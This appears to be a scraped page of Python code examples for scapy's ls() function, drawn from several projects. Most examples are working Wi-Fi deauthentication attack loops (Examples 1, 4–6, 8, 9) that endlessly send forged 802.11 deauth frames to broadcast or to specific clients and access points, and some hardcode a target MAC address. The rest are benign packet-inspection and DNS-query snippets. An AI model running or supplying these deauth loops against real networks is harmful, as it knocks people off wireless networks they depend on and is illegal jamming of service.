Example #1
0
    def run(self):
        while True:
            if self.flag:
                raise Exception('Stop sending deauth packet')
            for ap in self.AP_list:
                address = ap[0]
                deauth_ap = Dot11(addr1='ff:ff:ff:ff:ff:ff',
                                  addr2=address,
                                  addr3=address) / Dot11Deauth()
                send(deauth_ap, inter=0, count=5)
                print ls(deauth_ap)

            if len(self.clients_APs) > 0:
                with self.lock:
                    for x in self.clients_APs:
                        client = x[0]
                        ap = x[1]
                        ch = x[2]

                        deauth_pkt1 = Dot11(addr1=client, addr2=ap,
                                            addr3=ap) / Dot11Deauth()
                        deauth_pkt2 = Dot11(addr1=ap,
                                            addr2=client,
                                            addr3=client) / Dot11Deauth()
                        send(deauth_pkt1, inter=0, count=1)
                        send(deauth_pkt2, inter=0, count=1)
Example #2
0
def cons_IP():
    print("in ", cons_IP.__name__, " #######")
    t_ip = IP(ttl=10)
    t_ip.src = "127.0.0.1"
    t_ip.dst = "192.168.1.1"
    ls(t_ip)
    print()
    print()
Example #3
0
 def _list_layer_str(packet):
     """Return list layer output string."""
     _stdout, sys.stdout = sys.stdout, BytesIO()
     try:
         ls(packet)
         return sys.stdout.getvalue()
     finally:
         sys.stdout = _stdout
Example #4
0
 def run(self):
     while True:
         if self.flag:
             raise Exception('Stop sending deauth packet')
         for ap in self.AP_list:
             address = ap[0]
             deauth_ap = Dot11(addr1=self.client, addr2=address, addr3=address)/Dot11Deauth()
             print ls(deauth_ap)
             send(deauth_ap, inter=0, count=1)
Example #5
0
 def run(self):
     while True:
         if self.flag:
             raise Exception('Stop sending deauth packet')
         for ap in self.AP_list:
             address = ap[0]
             deauth_ap = Dot11(addr1=self.client,
                               addr2=address,
                               addr3=address) / Dot11Deauth()
             print ls(deauth_ap)
             send(deauth_ap, inter=0, count=1)
Example #6
0
    def run(self):
        while True:
            if self.flag:
                raise Exception('Stop sending deauth packet')
            for ap in self.AP_list:
                address = ap[0]
                deauth_ap = Dot11(addr1='ff:ff:ff:ff:ff:ff', addr2=address, addr3=address)/Dot11Deauth()
                send(deauth_ap, inter=0, count=5)
                print ls(deauth_ap)

            if len(self.clients_APs) > 0:
                with self.lock:
                    for x in self.clients_APs:
                        client = x[0]
                        ap = x[1]
                        ch = x[2]

                        deauth_pkt1 = Dot11(addr1=client, addr2=ap, addr3=ap)/Dot11Deauth()
                        deauth_pkt2 = Dot11(addr1=ap, addr2=client, addr3=client)/Dot11Deauth()
                        send(deauth_pkt1, inter=0, count=1)
                        send(deauth_pkt2, inter=0, count=1)
Example #7
0
# copyright:   Copyright (c) 2017-2020 qa_tech Co., Ltd. All rights reserved.
# author:      Jia Huang
# create_time: 2020/7/15 10:23
# update_time: 2020/7/15 10:23
# description: 基础知识
from scapy.config import lsc
from scapy.layers.inet import IP, TCP
from scapy.packet import ls

# pip install scapy
# print('******List  available layers, or infos on a given layer class or name.******')
# print(ls())
from scapy.utils import hexdump

print('******比如ls(IP)来查看IP包的各种默认参数******')
ls(IP())

# print('******比如ls(TCP)来查看TCP包的各种默认参数******')
# print(ls(TCP()))
#
# print('******查看scapy指令集******')
# print(lsc())

pkt = IP(dst='114.114.114.114')
# ls(pkt)

print('使用show()方法来查看数据包信息')
pkt.show()

print('使用summary()方法查看概要信息')
print(pkt.summary())
Example #8
0
from scapy.layers.dot11 import Dot11, Dot11Deauth
from scapy.packet import ls
from scapy.sendrecv import send

__author__ = 'daniel'

deauth_ap = Dot11(addr1='ff:ff:ff:ff:ff:ff',
                  addr2='00:66:4b:78:db:cc',
                  addr3='00:66:4b:78:db:cc') / Dot11Deauth()

while True:
    ls(deauth_ap)
    send(deauth_ap, inter=0, count=1)
Example #9
0
from scapy.layers.dot11 import Dot11, Dot11Deauth
from scapy.packet import ls
from scapy.sendrecv import send

__author__ = 'daniel'





deauth_ap = Dot11(addr1='ff:ff:ff:ff:ff:ff', addr2='00:66:4b:78:db:cc', addr3='00:66:4b:78:db:cc')/Dot11Deauth()

while True:
    ls(deauth_ap)
    send(deauth_ap, inter=0, count=1)
Example #10
0
from scapy.layers.inet import IP
from scapy.packet import ls

a = IP()
ls(IP)
# a.show()
Example #11
0
from scapy.layers.dns import DNS, DNSQR
from scapy.layers.inet import IP, UDP
from scapy.packet import ls
from scapy.sendrecv import sr1


class SimulationDns:
    """
    概念
        递归查询
        根域名
        顶级域名 net/com/cn
        权限域名 baidu.com
        子域名   app.baidu.com

        1 ------------ 15 16 ------------ 31
         Transaction ID
    """

    pass


if __name__ == '__main__':
    packet = IP(dst='114.114.114.114') / UDP(dport=53) / \
             DNS(id=168, opcode='QUERY', rd=1, qd=DNSQR(qname='www.baidu.com'))
    ans = sr1(packet)
    ls(ans)
    dns_ip = ans[DNS].an[1].rdata
    print(dns_ip)